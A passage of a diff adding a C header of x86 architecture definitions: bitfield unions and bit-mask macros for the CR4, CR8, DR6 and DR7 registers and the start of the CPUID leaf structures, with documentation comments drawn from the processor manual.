* feature when clear. The global page feature allows frequently used or shared pages to be marked as global to all users + * (done with the global flag, bit 8, in a page-directory or page-table entry). Global pages are not flushed from the + * translation-lookaside buffer (TLB) on a task switch or a write to register CR3. When enabling the global page feature, + * paging must be enabled (by setting the PG flag in control register CR0) before the PGE flag is set. Reversing this + * sequence may affect program correctness, and processor performance will be impacted. + * + * @see Vol3A[4.10(CACHING TRANSLATION INFORMATION)] + */ + uint64_t page_global_enable : 1; +#define CR4_PAGE_GLOBAL_ENABLE_BIT 7 +#define CR4_PAGE_GLOBAL_ENABLE_FLAG 0x80 +#define CR4_PAGE_GLOBAL_ENABLE_MASK 0x01 +#define CR4_PAGE_GLOBAL_ENABLE(_) (((_) >> 7) & 0x01) + + /** + * @brief Performance-Monitoring Counter Enable + * + * [Bit 8] Enables execution of the RDPMC instruction for programs or procedures running at any protection level when set; + * RDPMC instruction can be executed only at protection level 0 when clear. + */ + uint64_t performance_monitoring_counter_enable : 1; +#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_BIT 8 +#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_FLAG 0x100 +#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE_MASK 0x01 +#define CR4_PERFORMANCE_MONITORING_COUNTER_ENABLE(_) (((_) >> 8) & 0x01) + + /** + * @brief Operating System Support for FXSAVE and FXRSTOR instructions + * + * [Bit 9] When set, this flag: + * -# indicates to software that the operating system supports the use of the FXSAVE and FXRSTOR instructions, + * -# enables the FXSAVE and FXRSTOR instructions to save and restore the contents of the XMM and MXCSR registers along + * with the contents of the x87 FPU and MMX registers, and + * -# enables the processor to execute SSE/SSE2/SSE3/SSSE3/SSE4 instructions, with the exception of the PAUSE, PREFETCHh, + * SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. + * If this flag is clear, the FXSAVE and FXRSTOR instructions will save and restore the contents of the x87 FPU and MMX + * registers, but they may not save and restore the contents of the XMM and MXCSR registers. Also, the processor will + * generate an invalid opcode exception (\#UD) if it attempts to execute any SSE/SSE2/SSE3 instruction, with the exception + * of PAUSE, PREFETCHh, SFENCE, LFENCE, MFENCE, MOVNTI, CLFLUSH, CRC32, and POPCNT. The operating system or executive must + * explicitly set this flag. + * + * @remarks CPUID feature flag FXSR indicates availability of the FXSAVE/FXRSTOR instructions. The OSFXSR bit provides + * operating system software with a means of enabling FXSAVE/FXRSTOR to save/restore the contents of the X87 FPU, XMM and + * MXCSR registers. Consequently OSFXSR bit indicates that the operating system provides context switch support for + * SSE/SSE2/SSE3/SSSE3/SSE4. + */ + uint64_t os_fxsave_fxrstor_support : 1; +#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_BIT 9 +#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_FLAG 0x200 +#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT_MASK 0x01 +#define CR4_OS_FXSAVE_FXRSTOR_SUPPORT(_) (((_) >> 9) & 0x01) + + /** + * @brief Operating System Support for Unmasked SIMD Floating-Point Exceptions + * + * [Bit 10] Operating System Support for Unmasked SIMD Floating-Point Exceptions - When set, indicates that the operating + * system supports the handling of unmasked SIMD floating-point exceptions through an exception handler that is invoked + * when a SIMD floating-point exception (\#XM) is generated. SIMD floating-point exceptions are only generated by + * SSE/SSE2/SSE3/SSE4.1 SIMD floatingpoint instructions. + * The operating system or executive must explicitly set this flag. If this flag is not set, the processor will generate an + * invalid opcode exception (\#UD) whenever it detects an unmasked SIMD floating-point exception. + */ + uint64_t os_xmm_exception_support : 1; +#define CR4_OS_XMM_EXCEPTION_SUPPORT_BIT 10 +#define CR4_OS_XMM_EXCEPTION_SUPPORT_FLAG 0x400 +#define CR4_OS_XMM_EXCEPTION_SUPPORT_MASK 0x01 +#define CR4_OS_XMM_EXCEPTION_SUPPORT(_) (((_) >> 10) & 0x01) + + /** + * @brief User-Mode Instruction Prevention + * + * [Bit 11] When set, the following instructions cannot be executed if CPL > 0: SGDT, SIDT, SLDT, SMSW, and STR. An attempt + * at such execution causes a generalprotection exception (\#GP). + */ + uint64_t usermode_instruction_prevention : 1; +#define CR4_USERMODE_INSTRUCTION_PREVENTION_BIT 11 +#define CR4_USERMODE_INSTRUCTION_PREVENTION_FLAG 0x800 +#define CR4_USERMODE_INSTRUCTION_PREVENTION_MASK 0x01 +#define CR4_USERMODE_INSTRUCTION_PREVENTION(_) (((_) >> 11) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief VMX-Enable + * + * [Bit 13] Enables VMX operation when set. + * + * @see Vol3C[23(INTRODUCTION TO VIRTUAL MACHINE EXTENSIONS)] + */ + uint64_t vmx_enable : 1; +#define CR4_VMX_ENABLE_BIT 13 +#define CR4_VMX_ENABLE_FLAG 0x2000 +#define CR4_VMX_ENABLE_MASK 0x01 +#define CR4_VMX_ENABLE(_) (((_) >> 13) & 0x01) + + /** + * @brief SMX-Enable + * + * [Bit 14] Enables SMX operation when set. + * + * @see Vol2[6(SAFER MODE EXTENSIONS REFERENCE)] + */ + uint64_t smx_enable : 1; +#define CR4_SMX_ENABLE_BIT 14 +#define CR4_SMX_ENABLE_FLAG 0x4000 +#define CR4_SMX_ENABLE_MASK 0x01 +#define CR4_SMX_ENABLE(_) (((_) >> 14) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief FSGSBASE-Enable + * + * [Bit 16] Enables the instructions RDFSBASE, RDGSBASE, WRFSBASE, and WRGSBASE. + */ + uint64_t fsgsbase_enable : 1; +#define CR4_FSGSBASE_ENABLE_BIT 16 +#define CR4_FSGSBASE_ENABLE_FLAG 0x10000 +#define CR4_FSGSBASE_ENABLE_MASK 0x01 +#define CR4_FSGSBASE_ENABLE(_) (((_) >> 16) & 0x01) + + /** + * @brief PCID-Enable + * + * [Bit 17] Enables process-context identifiers (PCIDs) when set. Can be set only in IA-32e mode (if IA32_EFER.LMA = 1). + * + * @see Vol3A[4.10.1(Process-Context Identifiers (PCIDs))] + */ + uint64_t pcid_enable : 1; +#define CR4_PCID_ENABLE_BIT 17 +#define CR4_PCID_ENABLE_FLAG 0x20000 +#define CR4_PCID_ENABLE_MASK 0x01 +#define CR4_PCID_ENABLE(_) (((_) >> 17) & 0x01) + + /** + * @brief XSAVE and Processor Extended States-Enable + * + * [Bit 18] When set, this flag: + * -# indicates (via CPUID.01H:ECX.OSXSAVE[bit 27]) that the operating system supports the use of the XGETBV, XSAVE and + * XRSTOR instructions by general software; + * -# enables the XSAVE and XRSTOR instructions to save and restore the x87 FPU state (including MMX registers), the SSE + * state (XMM registers and MXCSR), along with other processor extended states enabled in XCR0; + * -# enables the processor to execute XGETBV and XSETBV instructions in order to read and write XCR0. + * + * @see Vol3A[2.6(EXTENDED CONTROL REGISTERS (INCLUDING XCR0))] + * @see Vol3A[13(SYSTEM PROGRAMMING FOR INSTRUCTION SET EXTENSIONS AND PROCESSOR EXTENDED)] + */ + uint64_t os_xsave : 1; +#define CR4_OS_XSAVE_BIT 18 +#define CR4_OS_XSAVE_FLAG 0x40000 +#define CR4_OS_XSAVE_MASK 0x01 +#define CR4_OS_XSAVE(_) (((_) >> 18) & 0x01) + uint64_t reserved3 : 1; + + /** + * @brief SMEP-Enable + * + * [Bit 20] Enables supervisor-mode execution prevention (SMEP) when set. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint64_t smep_enable : 1; +#define CR4_SMEP_ENABLE_BIT 20 +#define CR4_SMEP_ENABLE_FLAG 0x100000 +#define CR4_SMEP_ENABLE_MASK 0x01 +#define CR4_SMEP_ENABLE(_) (((_) >> 20) & 0x01) + + /** + * @brief SMAP-Enable + * + * [Bit 21] Enables supervisor-mode access prevention (SMAP) when set. + * + * @see Vol3A[4.6(ACCESS RIGHTS)] + */ + uint64_t smap_enable : 1; +#define CR4_SMAP_ENABLE_BIT 21 +#define CR4_SMAP_ENABLE_FLAG 0x200000 +#define CR4_SMAP_ENABLE_MASK 0x01 +#define CR4_SMAP_ENABLE(_) (((_) >> 21) & 0x01) + + /** + * @brief Protection-Key-Enable + * + * [Bit 22] Enables 4-level paging to associate each linear address with a protection key. The PKRU register specifies, for + * each protection key, whether user-mode linear addresses with that protection key can be read or written. This bit also + * enables access to the PKRU register using the RDPKRU and WRPKRU instructions. + */ + uint64_t protection_key_enable : 1; +#define CR4_PROTECTION_KEY_ENABLE_BIT 22 +#define CR4_PROTECTION_KEY_ENABLE_FLAG 0x400000 +#define CR4_PROTECTION_KEY_ENABLE_MASK 0x01 +#define CR4_PROTECTION_KEY_ENABLE(_) (((_) >> 22) & 0x01) + uint64_t reserved4 : 41; + }; + + uint64_t flags; +} cr4; + +typedef union +{ + struct + { + /** + * @brief Task Priority Level + * + * [Bits 3:0] This sets the threshold value corresponding to the highestpriority interrupt to be blocked. A value of 0 + * means all interrupts are enabled. This field is available in 64- bit mode. A value of 15 means all interrupts will be + * disabled. + */ + uint64_t task_priority_level : 4; +#define CR8_TASK_PRIORITY_LEVEL_BIT 0 +#define CR8_TASK_PRIORITY_LEVEL_FLAG 0x0F +#define CR8_TASK_PRIORITY_LEVEL_MASK 0x0F +#define CR8_TASK_PRIORITY_LEVEL(_) (((_) >> 0) & 0x0F) + + /** + * @brief Reserved + * + * [Bits 63:4] Reserved and must be written with zeros. Failure to do this causes a general-protection exception. + */ + uint64_t reserved : 60; +#define CR8_RESERVED_BIT 4 +#define CR8_RESERVED_FLAG 0xFFFFFFFFFFFFFFF0 +#define CR8_RESERVED_MASK 0xFFFFFFFFFFFFFFF +#define CR8_RESERVED(_) (((_) >> 4) & 0xFFFFFFFFFFFFFFF) + }; + + uint64_t flags; +} cr8; + +/** + * @} + */ + + /** + * @defgroup debug_registers \ + * Debug registers + * + * Eight debug registers control the debug operation of the processor. These registers can be written to and read using the + * move to/from debug register form of the MOV instruction. A debug register may be the source or destination operand for + * one of these instructions. + * Debug registers are privileged resources; a MOV instruction that accesses these registers can only be executed in + * real-address mode, in SMM or in protected mode at a CPL of 0. An attempt to read or write the debug registers from any + * other privilege level generates a general-protection exception (\#GP). The primary function of the debug registers is to + * set up and monitor from 1 to 4 breakpoints, numbered 0 though 3. For each breakpoint, the following information can be + * specified: + * - The linear address where the breakpoint is to occur. + * - The length of the breakpoint location: 1, 2, 4, or 8 bytes. + * - The operation that must be performed at the address for a debug exception to be generated. + * - Whether the breakpoint is enabled. + * - Whether the breakpoint condition was present when the debug exception was generated. + * + * @see Vol3B[17.2.4(Debug Control Register (DR7))] + * @see Vol3B[17.2(DEBUG REGISTERS)] (reference) + * @{ + */ +typedef union +{ + struct + { + /** + * @brief B0 through B3 (breakpoint condition detected) flags + * + * [Bits 3:0] Indicates (when set) that its associated breakpoint condition was met when a debug exception was generated. + * These flags are set if the condition described for each breakpoint by the LENn, and R/Wn flags in debug control register + * DR7 is true. They may or may not be set if the breakpoint is not enabled by the Ln or the Gn flags in register DR7. + * Therefore on a \#DB, a debug handler should check only those B0-B3 bits which correspond to an enabled breakpoint. + */ + uint64_t breakpoint_condition : 4; +#define DR6_BREAKPOINT_CONDITION_BIT 0 +#define DR6_BREAKPOINT_CONDITION_FLAG 0x0F +#define DR6_BREAKPOINT_CONDITION_MASK 0x0F +#define DR6_BREAKPOINT_CONDITION(_) (((_) >> 0) & 0x0F) + uint64_t reserved1 : 9; + + /** + * @brief BD (debug register access detected) flag + * + * [Bit 13] Indicates that the next instruction in the instruction stream accesses one of the debug registers (DR0 through + * DR7). This flag is enabled when the GD (general detect) flag in debug control register DR7 is set. + * + * @see Vol3B[17.2.4(Debug Control Register (DR7))] + */ + uint64_t debug_register_access_detected : 1; +#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_BIT 13 +#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_FLAG 0x2000 +#define DR6_DEBUG_REGISTER_ACCESS_DETECTED_MASK 0x01 +#define DR6_DEBUG_REGISTER_ACCESS_DETECTED(_) (((_) >> 13) & 0x01) + + /** + * @brief BS (single step) flag + * + * [Bit 14] Indicates (when set) that the debug exception was triggered by the singlestep execution mode (enabled with the + * TF flag in the EFLAGS register). The single-step mode is the highestpriority debug exception. When the BS flag is set, + * any of the other debug status bits also may be set. + */ + uint64_t single_instruction : 1; +#define DR6_SINGLE_INSTRUCTION_BIT 14 +#define DR6_SINGLE_INSTRUCTION_FLAG 0x4000 +#define DR6_SINGLE_INSTRUCTION_MASK 0x01 +#define DR6_SINGLE_INSTRUCTION(_) (((_) >> 14) & 0x01) + + /** + * @brief BT (task switch) flag + * + * [Bit 15] Indicates (when set) that the debug exception was triggered by the singlestep execution mode (enabled with the + * TF flag in the EFLAGS register). The single-step mode is the highestpriority debug exception. When the BS flag is set, + * any of the other debug status bits also may be set. + */ + uint64_t task_switch : 1; +#define DR6_TASK_SWITCH_BIT 15 +#define DR6_TASK_SWITCH_FLAG 0x8000 +#define DR6_TASK_SWITCH_MASK 0x01 +#define DR6_TASK_SWITCH(_) (((_) >> 15) & 0x01) + + /** + * @brief RTM (restricted transactional memory) flag + * + * [Bit 16] Indicates (when clear) that a debug exception (\#DB) or breakpoint exception (\#BP) occurred inside an RTM + * region while advanced debugging of RTM transactional regions was enabled. This bit is set for any other debug exception + * (including all those that occur when advanced debugging of RTM transactional regions is not enabled). This bit is always + * 1 if the processor does not support RTM. + * + * @see Vol3B[17.3.3(Debug Exceptions, Breakpoint Exceptions, and Restricted Transactional Memory (RTM))] + */ + uint64_t restricted_transactional_memory : 1; +#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_BIT 16 +#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_FLAG 0x10000 +#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY_MASK 0x01 +#define DR6_RESTRICTED_TRANSACTIONAL_MEMORY(_) (((_) >> 16) & 0x01) + uint64_t reserved2 : 47; + }; + + uint64_t flags; +} dr6; + +typedef union +{ + struct + { + /** + * @brief L0 through L3 (local breakpoint enable) flags (bits 0, 2, 4, and 6) + * + * [Bit 0] Enables (when set) the breakpoint condition for the associated breakpoint for the current task. When a + * breakpoint condition is detected and its associated Ln flag is set, a debug exception is generated. The processor + * automatically clears these flags on every task switch to avoid unwanted breakpoint conditions in the new task. + */ + uint64_t local_breakpoint_0 : 1; +#define DR7_LOCAL_BREAKPOINT_0_BIT 0 +#define DR7_LOCAL_BREAKPOINT_0_FLAG 0x01 +#define DR7_LOCAL_BREAKPOINT_0_MASK 0x01 +#define DR7_LOCAL_BREAKPOINT_0(_) (((_) >> 0) & 0x01) + + /** + * @brief G0 through G3 (global breakpoint enable) flags (bits 1, 3, 5, and 7) + * + * [Bit 1] Enables (when set) the breakpoint condition for the associated breakpoint for all tasks. When a breakpoint + * condition is detected and its associated Gn flag is set, a debug exception is generated. The processor does not clear + * these flags on a task switch, allowing a breakpoint to be enabled for all tasks. + */ + uint64_t global_breakpoint_0 : 1; +#define DR7_GLOBAL_BREAKPOINT_0_BIT 1 +#define DR7_GLOBAL_BREAKPOINT_0_FLAG 0x02 +#define DR7_GLOBAL_BREAKPOINT_0_MASK 0x01 +#define DR7_GLOBAL_BREAKPOINT_0(_) (((_) >> 1) & 0x01) + uint64_t local_breakpoint_1 : 1; +#define DR7_LOCAL_BREAKPOINT_1_BIT 2 +#define DR7_LOCAL_BREAKPOINT_1_FLAG 0x04 +#define DR7_LOCAL_BREAKPOINT_1_MASK 0x01 +#define DR7_LOCAL_BREAKPOINT_1(_) (((_) >> 2) & 0x01) + uint64_t global_breakpoint_1 : 1; +#define DR7_GLOBAL_BREAKPOINT_1_BIT 3 +#define DR7_GLOBAL_BREAKPOINT_1_FLAG 0x08 +#define DR7_GLOBAL_BREAKPOINT_1_MASK 0x01 +#define DR7_GLOBAL_BREAKPOINT_1(_) (((_) >> 3) & 0x01) + uint64_t local_breakpoint_2 : 1; +#define DR7_LOCAL_BREAKPOINT_2_BIT 4 +#define DR7_LOCAL_BREAKPOINT_2_FLAG 0x10 +#define DR7_LOCAL_BREAKPOINT_2_MASK 0x01 +#define DR7_LOCAL_BREAKPOINT_2(_) (((_) >> 4) & 0x01) + uint64_t global_breakpoint_2 : 1; +#define DR7_GLOBAL_BREAKPOINT_2_BIT 5 +#define DR7_GLOBAL_BREAKPOINT_2_FLAG 0x20 +#define DR7_GLOBAL_BREAKPOINT_2_MASK 0x01 +#define DR7_GLOBAL_BREAKPOINT_2(_) (((_) >> 5) & 0x01) + uint64_t local_breakpoint_3 : 1; +#define DR7_LOCAL_BREAKPOINT_3_BIT 6 +#define DR7_LOCAL_BREAKPOINT_3_FLAG 0x40 +#define DR7_LOCAL_BREAKPOINT_3_MASK 0x01 +#define DR7_LOCAL_BREAKPOINT_3(_) (((_) >> 6) & 0x01) + uint64_t global_breakpoint_3 : 1; +#define DR7_GLOBAL_BREAKPOINT_3_BIT 7 +#define DR7_GLOBAL_BREAKPOINT_3_FLAG 0x80 +#define DR7_GLOBAL_BREAKPOINT_3_MASK 0x01 +#define DR7_GLOBAL_BREAKPOINT_3(_) (((_) >> 7) & 0x01) + + /** + * @brief LE (local exact breakpoint enable) + * + * [Bit 8] This feature is not supported in the P6 family processors, later IA-32 processors, and Intel 64 processors. When + * set, these flags cause the processor to detect the exact instruction that caused a data breakpoint condition. For + * backward and forward compatibility with other Intel processors, we recommend that the LE and GE flags be set to 1 if + * exact breakpoints are required. + */ + uint64_t local_exact_breakpoint : 1; +#define DR7_LOCAL_EXACT_BREAKPOINT_BIT 8 +#define DR7_LOCAL_EXACT_BREAKPOINT_FLAG 0x100 +#define DR7_LOCAL_EXACT_BREAKPOINT_MASK 0x01 +#define DR7_LOCAL_EXACT_BREAKPOINT(_) (((_) >> 8) & 0x01) + uint64_t global_exact_breakpoint : 1; +#define DR7_GLOBAL_EXACT_BREAKPOINT_BIT 9 +#define DR7_GLOBAL_EXACT_BREAKPOINT_FLAG 0x200 +#define DR7_GLOBAL_EXACT_BREAKPOINT_MASK 0x01 +#define DR7_GLOBAL_EXACT_BREAKPOINT(_) (((_) >> 9) & 0x01) + uint64_t reserved1 : 1; + + /** + * @brief RTM (restricted transactional memory) flag + * + * [Bit 11] Enables (when set) advanced debugging of RTM transactional regions. This advanced debugging is enabled only if + * IA32_DEBUGCTL.RTM is also set. + * + * @see Vol3B[17.3.3(Debug Exceptions, Breakpoint Exceptions, and Restricted Transactional Memory (RTM))] + */ + uint64_t restricted_transactional_memory : 1; +#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_BIT 11 +#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_FLAG 0x800 +#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY_MASK 0x01 +#define DR7_RESTRICTED_TRANSACTIONAL_MEMORY(_) (((_) >> 11) & 0x01) + uint64_t reserved2 : 1; + + /** + * @brief GD (general detect enable) flag + * + * [Bit 13] Enables (when set) debug-register protection, which causes a debug exception to be generated prior to any MOV + * instruction that accesses a debug register. When such a condition is detected, the BD flag in debug status register DR6 + * is set prior to generating the exception. This condition is provided to support in-circuit emulators. + * When the emulator needs to access the debug registers, emulator software can set the GD flag to prevent interference + * from the program currently executing on the processor. + * The processor clears the GD flag upon entering to the debug exception handler, to allow the handler access to the debug + * registers. + */ + uint64_t general_detect : 1; +#define DR7_GENERAL_DETECT_BIT 13 +#define DR7_GENERAL_DETECT_FLAG 0x2000 +#define DR7_GENERAL_DETECT_MASK 0x01 +#define DR7_GENERAL_DETECT(_) (((_) >> 13) & 0x01) + uint64_t reserved3 : 2; + + /** + * @brief R/W0 through R/W3 (read/write) fields (bits 16, 17, 20, 21, 24, 25, 28, and 29) + * + * [Bits 17:16] Specifies the breakpoint condition for the corresponding breakpoint. The DE (debug extensions) flag in + * control register CR4 determines how the bits in the R/Wn fields are interpreted. When the DE flag is set, the processor + * interprets bits as follows: + * - 00 - Break on instruction execution only. + * - 01 - Break on data writes only. + * - 10 - Break on I/O reads or writes. + * - 11 - Break on data reads or writes but not instruction fetches. + * When the DE flag is clear, the processor interprets the R/Wn bits the same as for the Intel386(TM) and Intel486(TM) + * processors, which is as follows: + * - 00 - Break on instruction execution only. + * - 01 - Break on data writes only. + * - 10 - Undefined. + * - 11 - Break on data reads or writes but not instruction fetches. + */ + uint64_t read_write_0 : 2; +#define DR7_READ_WRITE_0_BIT 16 +#define DR7_READ_WRITE_0_FLAG 0x30000 +#define DR7_READ_WRITE_0_MASK 0x03 +#define DR7_READ_WRITE_0(_) (((_) >> 16) & 0x03) + + /** + * @brief LEN0 through LEN3 (Length) fields (bits 18, 19, 22, 23, 26, 27, 30, and 31) + * + * [Bits 19:18] Specify the size of the memory location at the address specified in the corresponding breakpoint address + * register (DR0 through DR3). These fields are interpreted as follows: + * - 00 - 1-byte length. + * - 01 - 2-byte length. + * - 10 - Undefined (or 8 byte length, see note below). + * - 11 - 4-byte length. + * If the corresponding RWn field in register DR7 is 00 (instruction execution), then the LENn field should also be 00. The + * effect of using other lengths is undefined. + * + * @see Vol3B[17.2.5(Breakpoint Field Recognition)] + */ + uint64_t length_0 : 2; +#define DR7_LENGTH_0_BIT 18 +#define DR7_LENGTH_0_FLAG 0xC0000 +#define DR7_LENGTH_0_MASK 0x03 +#define DR7_LENGTH_0(_) (((_) >> 18) & 0x03) + uint64_t read_write_1 : 2; +#define DR7_READ_WRITE_1_BIT 20 +#define DR7_READ_WRITE_1_FLAG 0x300000 +#define DR7_READ_WRITE_1_MASK 0x03 +#define DR7_READ_WRITE_1(_) (((_) >> 20) & 0x03) + uint64_t length_1 : 2; +#define DR7_LENGTH_1_BIT 22 +#define DR7_LENGTH_1_FLAG 0xC00000 +#define DR7_LENGTH_1_MASK 0x03 +#define DR7_LENGTH_1(_) (((_) >> 22) & 0x03) + uint64_t read_write_2 : 2; +#define DR7_READ_WRITE_2_BIT 24 +#define DR7_READ_WRITE_2_FLAG 0x3000000 +#define DR7_READ_WRITE_2_MASK 0x03 +#define DR7_READ_WRITE_2(_) (((_) >> 24) & 0x03) + uint64_t length_2 : 2; +#define DR7_LENGTH_2_BIT 26 +#define DR7_LENGTH_2_FLAG 0xC000000 +#define DR7_LENGTH_2_MASK 0x03 +#define DR7_LENGTH_2(_) (((_) >> 26) & 0x03) + uint64_t read_write_3 : 2; +#define DR7_READ_WRITE_3_BIT 28 +#define DR7_READ_WRITE_3_FLAG 0x30000000 +#define DR7_READ_WRITE_3_MASK 0x03 +#define DR7_READ_WRITE_3(_) (((_) >> 28) & 0x03) + uint64_t length_3 : 2; +#define DR7_LENGTH_3_BIT 30 +#define DR7_LENGTH_3_FLAG 0xC0000000 +#define DR7_LENGTH_3_MASK 0x03 +#define DR7_LENGTH_3(_) (((_) >> 30) & 0x03) + uint64_t reserved4 : 32; + }; + + uint64_t flags; +} dr7; + +/** + * @} + */ + + /** + * @defgroup cpuid \ + * CPUID + * + * @see Vol2A[3.2(CPUID)] (reference) + * @{ + */ + /** + * @brief Returns CPUID's Highest Value for Basic Processor Information and the Vendor Identification String + * + * When CPUID executes with EAX set to 0, the processor returns the highest value the CPUID recognizes for returning basic + * processor information. The value is returned in the EAX register and is processor specific. + * A vendor identification string is also returned in EBX, EDX, and ECX. For Intel processors, the string is "GenuineIntel" + * and is expressed: + * - EBX <- 756e6547h (* "Genu", with G in the low eight bits of BL *) + * - EDX <- 49656e69h (* "ineI", with i in the low eight bits of DL *) + * - ECX <- 6c65746eh (* "ntel", with n in the low eight bits of CL *) + */ +#define CPUID_SIGNATURE 0x00000000 +typedef struct +{ + /** + * @brief EAX + * + * Maximum Input Value for Basic CPUID Information. + */ + uint32_t max_cpuid_input_value; + + /** + * @brief EBX + * + * "Genu" + */ + uint32_t ebx_value_genu; + + /** + * @brief ECX + * + * "ntel" + */ + uint32_t ecx_value_ntel; + + /** + * @brief EDX + * + * "ineI" + */ + uint32_t edx_value_inei; +} cpuid_eax_00; + + +/** + * @brief Returns Model, Family, Stepping Information, Additional Information and Feature Information + * + * Returns: + * * Model, Family, Stepping Information in EAX + * * Additional Information in EBX + * * Feature Information in ECX and EDX + */ +#define CPUID_VERSION_INFORMATION 0x00000001 +typedef struct +{ + /** + * @brief When CPUID executes with EAX set to 01H, version information is returned in EAX + */ + union + { + struct + { + uint32_t stepping_id : 4; +#define CPUID_VERSION_INFORMATION_STEPPING_ID_BIT 0 +#define CPUID_VERSION_INFORMATION_STEPPING_ID_FLAG 0x0F +#define CPUID_VERSION_INFORMATION_STEPPING_ID_MASK 0x0F +#define CPUID_VERSION_INFORMATION_STEPPING_ID(_) (((_) >> 0) & 0x0F) + uint32_t model : 4; +#define CPUID_VERSION_INFORMATION_MODEL_BIT 4 +#define CPUID_VERSION_INFORMATION_MODEL_FLAG 0xF0 +#define CPUID_VERSION_INFORMATION_MODEL_MASK 0x0F +#define CPUID_VERSION_INFORMATION_MODEL(_) (((_) >> 4) & 0x0F) + uint32_t family_id : 4; +#define CPUID_VERSION_INFORMATION_FAMILY_ID_BIT 8 +#define CPUID_VERSION_INFORMATION_FAMILY_ID_FLAG 0xF00 +#define CPUID_VERSION_INFORMATION_FAMILY_ID_MASK 0x0F +#define CPUID_VERSION_INFORMATION_FAMILY_ID(_) (((_) >> 8) & 0x0F) + + /** + * [Bits 13:12] - 0 - Original OEM Processor + * - 1 - Intel OverDrive(R) Processor + * - 2 - Dual processor (not applicable to Intel486 processors) + * - 3 - Intel reserved + */ + uint32_t processor_type : 2; +#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_BIT 12 +#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_FLAG 0x3000 +#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE_MASK 0x03 +#define CPUID_VERSION_INFORMATION_PROCESSOR_TYPE(_) (((_) >> 12) & 0x03) + uint32_t reserved1 : 2; + + /** + * [Bits 19:16] The Extended Model ID needs to be examined only when the Family ID is 06H or 0FH. + */ + uint32_t extended_model_id : 4; +#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_BIT 16 +#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_FLAG 0xF0000 +#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID_MASK 0x0F +#define CPUID_VERSION_INFORMATION_EXTENDED_MODEL_ID(_) (((_) >> 16) & 0x0F) + + /** + * [Bits 27:20] The Extended Family ID needs to be examined only when the Family ID is 0FH. + */ + uint32_t extended_family_id : 8; +#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_BIT 20 +#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_FLAG 0xFF00000 +#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID_MASK 0xFF +#define CPUID_VERSION_INFORMATION_EXTENDED_FAMILY_ID(_) (((_) >> 20) & 0xFF) + uint32_t reserved2 : 4; + }; + + uint32_t flags; + } cpuid_version_information; + + /** + * @brief When CPUID executes with EAX set to 01H, additional information is returned to the EBX register + */ + union + { + struct + { + /** + * [Bits 7:0] This number provides an entry into a brand string table that contains brand strings for IA-32 processors. + * More information about this field is provided later in this section. + */ + uint32_t brand_index : 8; +#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_BIT 0 +#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_FLAG 0xFF +#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX_MASK 0xFF +#define CPUID_ADDITIONAL_INFORMATION_BRAND_INDEX(_) (((_) >> 0) & 0xFF) + + /** + * @brief Value * 8 = cache line size in bytes; used also by CLFLUSHOPT + * + * [Bits 15:8] This number indicates the size of the cache line flushed by the CLFLUSH and CLFLUSHOPT instructions in + * 8-byte increments. This field was introduced in the Pentium 4 processor. + */ + uint32_t clflush_line_size : 8; +#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_BIT 8 +#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_FLAG 0xFF00 +#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE_MASK 0xFF +#define CPUID_ADDITIONAL_INFORMATION_CLFLUSH_LINE_SIZE(_) (((_) >> 8) & 0xFF) + + /** + * [Bits 23:16] Maximum number of addressable IDs for logical processors in this physical package. + * + * @remarks The nearest power-of-2 integer that is not smaller than EBX[23:16] is the number of unique initial APIC IDs + * reserved for addressing different logical processors in a physical package. This field is only valid if + * CPUID.1.EDX.HTT[bit 28] = 1. + */ + uint32_t max_addressable_ids : 8; +#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_BIT 16 +#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_FLAG 0xFF0000 +#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS_MASK 0xFF +#define CPUID_ADDITIONAL_INFORMATION_MAX_ADDRESSABLE_IDS(_) (((_) >> 16) & 0xFF) + + /** + * [Bits 31:24] This number is the 8-bit ID that is assigned to the local APIC on the processor during power up. This field + * was introduced in the Pentium 4 processor. + */ + uint32_t initial_apic_id : 8; +#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_BIT 24 +#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_FLAG 0xFF000000 +#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID_MASK 0xFF +#define CPUID_ADDITIONAL_INFORMATION_INITIAL_APIC_ID(_) (((_) >> 24) & 0xFF) + }; + + uint32_t flags; + } cpuid_additional_information; + + /** + * @brief When CPUID executes with EAX set to 01H, feature information is returned in ECX and EDX + */ + union + { + struct + { + /** + * @brief Streaming SIMD Extensions 3 (SSE3) + * + * [Bit 0] A value of 1 indicates the processor supports this technology. + */ + uint32_t streaming_simd_extensions_3 : 1; +#define 